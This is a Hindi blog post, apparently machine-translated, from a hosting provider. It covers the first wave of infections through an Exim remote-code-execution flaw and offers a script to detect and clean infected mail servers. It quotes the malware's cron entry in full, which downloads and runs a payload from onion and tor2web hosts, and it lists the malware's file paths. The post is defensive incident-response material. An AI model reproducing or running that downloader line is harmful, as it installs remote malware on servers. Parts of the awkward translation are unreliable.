👴🏼 👨🏽‍🔧 🚮 एक्ज़िम भेद्यता से प्रभावित पहली लहर। इलाज की पटकथा 🔹 ❣️ 🤶🏻

एक्ज़िम की आरसीई भेद्यता पहले से ही काफी उच्च-प्रोफ़ाइल है, और दुनिया भर के सिस्टम प्रशासकों की नसों को बहुत अधिक प्रभावित करती है।

बड़े पैमाने पर संक्रमण के मद्देनजर (हमारे कई ग्राहक एक मेल सर्वर के रूप में एक्जिम का उपयोग करते हैं) वे जल्दी से समस्या के समाधान को स्वचालित करने के लिए एक स्क्रिप्ट का प्रसार करते हैं। स्क्रिप्ट आदर्श और उप-अपनाने वाले कोड से बहुत दूर है, लेकिन सैकड़ों या हजारों सर्वरों पर समान कार्य नहीं करने के लिए यह एक त्वरित मुकाबला समाधान है।

यह एक्ज़िम मेल सर्वर स्थापित सेंटो, आरएचईएल, डेबियन, उबंटू के सर्वर पर काम करता है।

कैसे समझें कि सर्वर हैक हो गया है?

शीर्ष कमांड के साथ चल रही प्रक्रियाओं की जाँच करें।
संक्रमित सर्वरों पर, [क्रोथ्रोट्स] प्रक्रिया द्वारा बनाया गया 100% लोड होता है। इसके अलावा क्रोन अनुसूचक में सीमित संपादन अधिकारों के साथ एक कार्य जोड़ा जाता है।

अलर्ट सेक्शन

हमारे द्वारा सामना की गई सभी संक्रमण घटनाएं बिल्कुल समान थीं, दूसरी और तीसरी लहरें उनसे भिन्न हो सकती हैं - उनके लिए स्क्रिप्ट को संशोधित करना आवश्यक हो सकता है। संक्रमण के समय, क्रोन में कार्य अपरिवर्तनीय रूप से खो जाते हैं और उन्हें हाथ से वापस किया जाना चाहिए। स्क्रिप्ट "कंधे से कट जाती है" - निडरता से परीक्षण किए गए रिपॉजिटरी से सेंटोस 6 के मामले में भी पैच संस्करणों के लिए एक्जिम अपडेट करें। मैलवेयर इंस्टेंस स्मृति में है, इसलिए मुकुटों को साफ करने के तुरंत बाद सर्वर को फिर से चालू करना होगा।

महत्वपूर्ण: भेद्यता रूट से कोड को निष्पादित करने की अनुमति देती है, जो एक सौ प्रतिशत हीलिंग की कोई गारंटी नहीं देता है। सर्वर तक रूट एक्सेस होने के बाद, आप इस सर्वर पर लगभग कुछ भी छिपा सकते हैं, जिससे इसे ढूंढना लगभग असंभव हो जाएगा। सर्वर को पूरी तरह से ठीक करने की गारंटी केवल एक पूर्ण पुनर्स्थापना हो सकती है, लेकिन यह हमेशा संभव है। यदि सर्वर को फिर से स्थापित करने की कोई संभावना नहीं है, और लक्षण समान हैं, तो आप इस स्क्रिप्ट के साथ छेद को जल्दी से भरने की कोशिश कर सकते हैं।

स्क्रिप्ट का उपयोग करते हुए, आप इसे अपने जोखिम और जोखिम पर करते हैं: हमने कई सर्वरों पर स्क्रिप्ट का परीक्षण किया, हालांकि, असंगत सॉफ़्टवेयर संस्करणों या कॉन्फ़िगरेशन संघर्ष के जोखिम हमेशा होते हैं।
हमारी स्क्रिप्ट आपको संक्रमण के संभावित कार्यान्वयन में से केवल एक को ठीक करने की अनुमति देती है - यह संभव है कि पहले से ही अब भेद्यता का शोषण करने के अन्य तरीके हैं जो हमारे विचार में नहीं आए हैं।

स्क्रिप्ट क्या करती है?

1. अपडेट एक्ज़िम, कर्ल को बहाल करता है।
2. सर्वर पर संक्रमण के लिए जाँच।

स्क्रिप्ट संदिग्ध समावेशन की उपस्थिति के लिए अनुसूचक के कार्यों का विश्लेषण करती है।

उदाहरण के लिए, जैसे:

*/11 * * * * root tbin=$(command -v passwd); bpath=$(dirname "${tbin}"); curl="curl"; if [ $(curl --version 2>/dev/null|grep "curl "|wc -l) -eq 0 ]; then curl="echo"; if [ "${bpath}" != "" ]; then for f in ${bpath}*; do strings $f 2>/dev/null|grep -q "CURLOPT_VERBOSE" && curl="$f" && break; done; fi; fi; wget="wget"; if [ $(wget --version 2>/dev/null|grep "wgetrc "|wc -l) -eq 0 ]; then wget="echo"; if [ "${bpath}" != "" ]; then for f in ${bpath}*; do strings $f 2>/dev/null|grep -q "to <bug-wget@gnu.org>" && wget="$f" && break; done; fi; fi; if [ $(cat /etc/hosts|grep -i ".onion."|wc -l) -ne 0 ]; then echo "127.0.0.1 localhost" > /etc/hosts >/dev/null 2>&1; fi; (${curl} -fsSLk --retry 2 --connect-timeout 22 --max-time 75 https://an7kmd2wp4xo7hpr.tor2web.su/src/ldm -o /.cache/.ntp||${curl} -fsSLk --retry 2 --connect-timeout 22 --max-time 75 https://an7kmd2wp4xo7hpr.tor2web.io/src/ldm -o /.cache/.ntp||${curl} -fsSLk --retry 2 --connect-timeout 22 --max-time 75 https://an7kmd2wp4xo7hpr.onion.sh/src/ldm -o /.cache/.ntp||${wget} --quiet --tries=2 --wait=5 --no-check-certificate --connect-timeout=22 --timeout=75 https://an7kmd2wp4xo7hpr.tor2web.su/src/ldm -O /.cache/.ntp||${wget} --quiet --tries=2 --wait=5 --no-check-certificate --connect-timeout=22 --timeout=75 https://an7kmd2wp4xo7hpr.tor2web.io/src/ldm -O /.cache/.ntp||${wget} --quiet --tries=2 --wait=5 --no-check-certificate --connect-timeout=22 --timeout=75 https://an7kmd2wp4xo7hpr.onion.sh/src/ldm -O /.cache/.ntp) && chmod +x /.cache/.ntp && /bin/sh /.cache/.ntp

2 ए। यदि / etc फ़ोल्डर में वायरस स्क्रिप्ट के निशान हैं, तो निम्न कार्य करें

क्रोन रोकता है
वायरस स्क्रिप्ट द्वारा लॉन्च की गई प्रक्रिया को मारता है
चार बार कर्ल wget श प्रक्रिया को मारता है (शेड्यूल पर वायरस द्वारा चलाया जाता है)
सभी अक्षरों से मेल कतार को साफ करता है (संक्रमित संदेश हानिरहित से अलग करना मुश्किल है, इसलिए आपको पूरी कतार को हटाना होगा )

उन फ़ाइलों को हटाने की अनुमति देता है जहाँ दुर्भावनापूर्ण स्क्रिप्ट के टुकड़े स्थित हैं:

 /etc/cron.daily/cronlog /etc/cron.d/root /etc/cron.d/.cronbus /etc/cron.hourly/cronlog /etc/cron.monthly/cronlog /var/spool/cron/root /var/spool/cron/crontabs/root /etc/cron.d/root /etc/crontab /root/.cache/ /root/.cache/a /usr/local/bin/nptd /root/.cache/.kswapd /usr/bin/\[kthrotlds\] /root/.ssh/authorized_keys /.cache/* /.cache/.sysud /.cache/.a /.cache/.favicon.ico /.cache/.kswapd /.cache/.ntp

इन फ़ाइलों को हटाता है
/etc/rc.local में एक ऑटोस्टार्ट नौकरी निकालता है
अनुमत ssh कुंजी से एक हमलावर कुंजी निकालता है
क्रोन चलाता है
और तुरंत सर्वर को रिबूट करता है

2 बी। यदि संक्रमण का कोई निशान नहीं है, तो स्क्रिप्ट बाहर निकल जाती है।

शोधन

वायरस सभी क्रोन अनुसूचक नौकरियों को हटा देता है। इसलिए, सर्वर को रिबूट करने के बाद, उन्हें बैकअप से पुन: कॉन्फ़िगर या पुनर्स्थापित करने की आवश्यकता होती है।

कर्ल भी वायरस से संक्रमित होता है, इसलिए इसे फिर से स्थापित किया जाता है।

रिबूटिंग (स्क्रिप्ट उपचार के बाद इसे स्वचालित रूप से निष्पादित करता है) की आवश्यकता होती है - अन्यथा सर्वर को सर्वर की मेमोरी में संग्रहीत किया जाता है और संक्रमित फ़ाइलों को हटाने के बाद भी हर 30 सेकंड में आत्म-प्रतिकृति करता है।

कैसे करें इस्तेमाल?

परंपरागत रूप से: शुरू करने से पहले, सुनिश्चित करें कि आपके पास हाथ में सर्वर डेटा की वास्तविक बैकअप प्रतिलिपि है।

स्क्रिप्ट चलाने के लिए:

रूट विशेषाधिकार वाले उपयोगकर्ता के रूप में ssh के माध्यम से सर्वर से कनेक्ट करें। आप ISPmanager - Tools पैनल में शेल क्लाइंट का भी उपयोग कर सकते हैं।

टर्मिनल में, कमांड दर्ज करें:

 wget https://lechillka.firstvds.ru/exim_rce_fixer.sh && chmod +x exim_rce_fixer.sh && ./exim_rce_fixer.sh

सर्वर को पूरा करने और रिबूट करने के लिए स्क्रिप्ट की अपेक्षा करें।

रिबूट के बाद, सर्वर के संचालन और उस पर होस्ट की गई साइट्स / एप्लिकेशन की जांच करें, बैकअप से कार्यों को पुन: कॉन्फ़िगर या पुनर्स्थापित करें।

और अंत में

वास्तव में, स्क्रिप्ट सर्वर को काम करने के लिए पुनर्स्थापित करने के लिए एक अस्थायी समाधान है , गारंटीकृत रोकथाम के लिए, सबसे अच्छा समाधान ऑपरेटिंग सिस्टम के संस्करण के साथ एक नए सर्वर पर स्विच करना है जिसमें अब कोई भेद्यता नहीं है।

स्क्रिप्ट को अंतिम रूप देने / संसाधित करने की सभी सिफारिशें स्वागत योग्य हैं। यदि आप संक्रमण के एक और लक्षण का सामना करते हैं - कृपया इसे दिखाएं। बड़े पैमाने पर संक्रमण के समय सहयोग इन संक्रमणों को खत्म करने के लिए आवश्यक समय को काफी कम कर देता है।

सौभाग्य है

UPD1: जीथब पर जोड़ा गया ।
मालवरी लिपि का स्रोत कोड वहां अपलोड किया गया था, जिसे संक्रमित सर्वर से खींचने में कामयाब रहा ।
UPD2: Centos 6 के लिए, रिलीज़ 4.92 ईपीईएल में आया, अब स्क्रिप्ट के सभी संस्करणों में इसे मुख्य सूचना विज्ञान से स्थापित किया गया है। प्रारंभ में, स्क्रिप्ट EPEL / परीक्षण से Centos 6 के लिए 4.92 डाउनलोड की गई।

एक्ज़िम भेद्यता से प्रभावित पहली लहर। इलाज की पटकथा